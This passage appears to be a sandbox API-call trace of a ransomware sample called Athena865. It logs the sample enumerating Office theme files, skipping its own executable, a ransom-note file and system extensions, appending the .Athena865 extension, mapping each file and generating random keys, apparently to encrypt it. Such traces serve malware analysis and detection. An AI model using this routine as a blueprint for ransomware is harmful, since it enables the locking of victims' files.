(lpString="db-shm") returned 6 [0137.400] lstrcmpiW (lpString1="m.eftx", lpString2="db-shm") returned 1 [0137.400] lstrlenW (lpString="db-wal") returned 6 [0137.400] lstrcmpiW (lpString1="m.eftx", lpString2="db-wal") returned 1 [0137.400] lstrlenW (lpString="dbc") returned 3 [0137.400] lstrcmpiW (lpString1="ftx", lpString2="dbc") returned 1 [0137.400] lstrlenW (lpString="dbs") returned 3 [0137.400] lstrcmpiW (lpString1="ftx", lpString2="dbs") returned 1 [0137.400] lstrlenW (lpString="dbt") returned 3 [0137.400] lstrcmpiW (lpString1="ftx", lpString2="dbt") returned 1 [0137.400] lstrlenW (lpString="dbv") returned 3 [0137.400] lstrcmpiW (lpString1="ftx", lpString2="dbv") returned 1 [0137.400] lstrlenW (lpString="dbx") returned 3 [0137.400] lstrcmpiW (lpString1="ftx", lpString2="dbx") returned 1 [0137.400] lstrlenW (lpString="dcb") returned 3 [0137.400] lstrcmpiW (lpString1="ftx", lpString2="dcb") returned 1 [0137.400] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.Athena865") returned 92 [0137.400] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx.athena865"), dwFlags=0x1) returned 1 [0137.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.402] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=27789) returned 1 [0137.402] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.403] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.403] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.403] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6f90, lpName=0x0) returned 0x17c [0137.405] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6f90) returned 0x100000 [0137.406] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.407] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.407] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.407] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e861600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2e861600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6c85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Solstice.eftx", cAlternateFileName="SOLSTI~1.EFT")) returned 1 [0137.407] lstrcmpiW (lpString1="Solstice.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.407] lstrcmpiW (lpString1="Solstice.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.408] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Solstice.eftx" | out: lpString1="Solstice.eftx") returned="Solstice.eftx" [0137.408] lstrlenW (lpString="Solstice.eftx") returned 13 [0137.408] lstrlenW (lpString="Athena865") returned 9 [0137.408] lstrcmpiW (lpString1="tice.eftx", lpString2="Athena865") returned 1 [0137.408] lstrlenW (lpString=".dll") returned 4 [0137.408] lstrcmpiW (lpString1="Solstice.eftx", lpString2=".dll") returned 1 [0137.408] lstrlenW (lpString=".lnk") returned 4 [0137.408] lstrcmpiW (lpString1="Solstice.eftx", lpString2=".lnk") returned 1 [0137.408] lstrlenW (lpString=".ini") returned 4 [0137.408] lstrcmpiW (lpString1="Solstice.eftx", lpString2=".ini") returned 1 [0137.408] lstrlenW (lpString=".sys") returned 4 [0137.408] lstrcmpiW (lpString1="Solstice.eftx", lpString2=".sys") returned 1 [0137.408] lstrlenW (lpString="Solstice.eftx") returned 13 [0137.408] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.Athena865") returned 90 [0137.408] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx.athena865"), dwFlags=0x1) returned 1 [0137.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.410] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=27781) returned 1 [0137.410] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.410] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.410] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.411] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6f90, lpName=0x0) returned 0x17c [0137.412] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6f90) returned 0x100000 [0137.414] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.414] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.414] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.415] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32199d00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x32199d00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5c8c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Technic.eftx", cAlternateFileName="TECHNI~1.EFT")) returned 1 [0137.415] lstrcmpiW (lpString1="Technic.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.415] lstrcmpiW (lpString1="Technic.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.415] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Technic.eftx" | out: lpString1="Technic.eftx") returned="Technic.eftx" [0137.415] lstrlenW (lpString="Technic.eftx") returned 12 [0137.416] lstrlenW (lpString="Athena865") returned 9 [0137.416] lstrcmpiW (lpString1="hnic.eftx", lpString2="Athena865") returned 1 [0137.416] lstrlenW (lpString=".dll") returned 4 [0137.416] lstrcmpiW (lpString1="Technic.eftx", lpString2=".dll") returned 1 [0137.416] lstrlenW (lpString=".lnk") returned 4 [0137.416] lstrcmpiW (lpString1="Technic.eftx", lpString2=".lnk") returned 1 [0137.416] lstrlenW (lpString=".ini") returned 4 [0137.416] lstrcmpiW (lpString1="Technic.eftx", lpString2=".ini") returned 1 [0137.416] lstrlenW (lpString=".sys") returned 4 [0137.416] lstrcmpiW (lpString1="Technic.eftx", lpString2=".sys") returned 1 [0137.416] lstrlenW (lpString="Technic.eftx") returned 12 [0137.416] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.Athena865") returned 89 [0137.416] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx.athena865"), dwFlags=0x1) returned 1 [0137.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.417] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=23692) returned 1 [0137.418] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.418] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.418] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.419] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5f90, lpName=0x0) returned 0x17c [0137.420] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5f90) returned 0x100000 [0137.421] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.422] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.422] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.423] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bd2c400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5bd2c400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa14f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Thatch.eftx", cAlternateFileName="THATCH~1.EFT")) returned 1 [0137.423] lstrcmpiW (lpString1="Thatch.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.423] lstrcmpiW (lpString1="Thatch.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.423] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Thatch.eftx" | out: lpString1="Thatch.eftx") returned="Thatch.eftx" [0137.423] lstrlenW (lpString="Thatch.eftx") returned 11 [0137.423] lstrlenW (lpString="Athena865") returned 9 [0137.423] lstrcmpiW (lpString1="atch.eftx", lpString2="Athena865") returned -1 [0137.423] lstrlenW (lpString=".dll") returned 4 [0137.423] lstrcmpiW (lpString1="Thatch.eftx", lpString2=".dll") returned 1 [0137.423] lstrlenW (lpString=".lnk") returned 4 [0137.423] lstrcmpiW (lpString1="Thatch.eftx", lpString2=".lnk") returned 1 [0137.423] lstrlenW (lpString=".ini") returned 4 [0137.423] lstrcmpiW (lpString1="Thatch.eftx", lpString2=".ini") returned 1 [0137.423] lstrlenW (lpString=".sys") returned 4 [0137.423] lstrcmpiW (lpString1="Thatch.eftx", lpString2=".sys") returned 1 [0137.423] lstrlenW (lpString="Thatch.eftx") returned 11 [0137.424] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.Athena865") returned 88 [0137.424] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx.athena865"), dwFlags=0x1) returned 1 [0137.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.425] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=41295) returned 1 [0137.425] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.426] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.426] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.426] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa450, lpName=0x0) returned 0x17c [0137.427] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa450) returned 0x100000 [0137.429] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.430] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.430] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.431] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ad2400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x35ad2400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1fb84, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Trek.eftx", cAlternateFileName="TREK~1.EFT")) returned 1 [0137.431] lstrcmpiW (lpString1="Trek.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.431] lstrcmpiW (lpString1="Trek.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.431] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Trek.eftx" | out: lpString1="Trek.eftx") returned="Trek.eftx" [0137.431] lstrlenW (lpString="Trek.eftx") returned 9 [0137.431] lstrlenW (lpString="Athena865") returned 9 [0137.431] lstrlenW (lpString=".dll") returned 4 [0137.431] lstrcmpiW (lpString1="Trek.eftx", lpString2=".dll") returned 1 [0137.431] lstrlenW (lpString=".lnk") returned 4 [0137.431] lstrcmpiW (lpString1="Trek.eftx", lpString2=".lnk") returned 1 [0137.431] lstrlenW (lpString=".ini") returned 4 [0137.432] lstrcmpiW (lpString1="Trek.eftx", lpString2=".ini") returned 1 [0137.432] lstrlenW (lpString=".sys") returned 4 [0137.432] lstrcmpiW (lpString1="Trek.eftx", lpString2=".sys") returned 1 [0137.432] lstrlenW (lpString="Trek.eftx") returned 9 [0137.432] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.Athena865") returned 86 [0137.432] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx.athena865"), dwFlags=0x1) returned 1 [0137.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.434] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=129924) returned 1 [0137.434] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.435] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.435] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.435] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1fe90, lpName=0x0) returned 0x17c [0137.437] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1fe90) returned 0x100000 [0137.442] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.442] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.442] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.444] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3940ab00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3940ab00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4c9b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Urban.eftx", cAlternateFileName="URBAN~1.EFT")) returned 1 [0137.444] lstrcmpiW (lpString1="Urban.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.444] lstrcmpiW (lpString1="Urban.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.444] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Urban.eftx" | out: lpString1="Urban.eftx") returned="Urban.eftx" [0137.445] lstrlenW (lpString="Urban.eftx") returned 10 [0137.445] lstrlenW (lpString="Athena865") returned 9 [0137.445] lstrcmpiW (lpString1="rban.eftx", lpString2="Athena865") returned 1 [0137.445] lstrlenW (lpString=".dll") returned 4 [0137.445] lstrcmpiW (lpString1="Urban.eftx", lpString2=".dll") returned 1 [0137.445] lstrlenW (lpString=".lnk") returned 4 [0137.445] lstrcmpiW (lpString1="Urban.eftx", lpString2=".lnk") returned 1 [0137.445] lstrlenW (lpString=".ini") returned 4 [0137.445] lstrcmpiW (lpString1="Urban.eftx", lpString2=".ini") returned 1 [0137.445] lstrlenW (lpString=".sys") returned 4 [0137.445] lstrcmpiW (lpString1="Urban.eftx", lpString2=".sys") returned 1 [0137.445] lstrlenW (lpString="Urban.eftx") returned 10 [0137.445] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.Athena865") returned 87 [0137.445] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx.athena865"), dwFlags=0x1) returned 1 [0137.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.446] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19611) returned 1 [0137.447] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.447] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.447] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.448] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4fa0, lpName=0x0) returned 0x17c [0137.449] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4fa0) returned 0x100000 [0137.450] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.451] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.451] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.452] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd43200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cd43200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x79f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Verve.eftx", cAlternateFileName="VERVE~1.EFT")) returned 1 [0137.452] lstrcmpiW (lpString1="Verve.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.452] lstrcmpiW (lpString1="Verve.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.452] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Verve.eftx" | out: lpString1="Verve.eftx") returned="Verve.eftx" [0137.452] lstrlenW (lpString="Verve.eftx") returned 10 [0137.452] lstrlenW (lpString="Athena865") returned 9 [0137.452] lstrcmpiW (lpString1="erve.eftx", lpString2="Athena865") returned 1 [0137.452] lstrlenW (lpString=".dll") returned 4 [0137.452] lstrcmpiW (lpString1="Verve.eftx", lpString2=".dll") returned 1 [0137.452] lstrlenW (lpString=".lnk") returned 4 [0137.452] lstrcmpiW (lpString1="Verve.eftx", lpString2=".lnk") returned 1 [0137.452] lstrlenW (lpString=".ini") returned 4 [0137.452] lstrcmpiW (lpString1="Verve.eftx", lpString2=".ini") returned 1 [0137.452] lstrlenW (lpString=".sys") returned 4 [0137.452] lstrcmpiW (lpString1="Verve.eftx", lpString2=".sys") returned 1 [0137.452] lstrlenW (lpString="Verve.eftx") returned 10 [0137.452] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.Athena865") returned 87 [0137.452] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx.athena865"), dwFlags=0x1) returned 1 [0137.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.454] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31224) returned 1 [0137.454] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.455] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.455] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.455] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7d00, lpName=0x0) returned 0x17c [0137.456] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7d00) returned 0x100000 [0137.458] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.458] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.458] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.459] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1b778, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Waveform.eftx", cAlternateFileName="WAVEFO~1.EFT")) returned 1 [0137.459] lstrcmpiW (lpString1="Waveform.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.459] 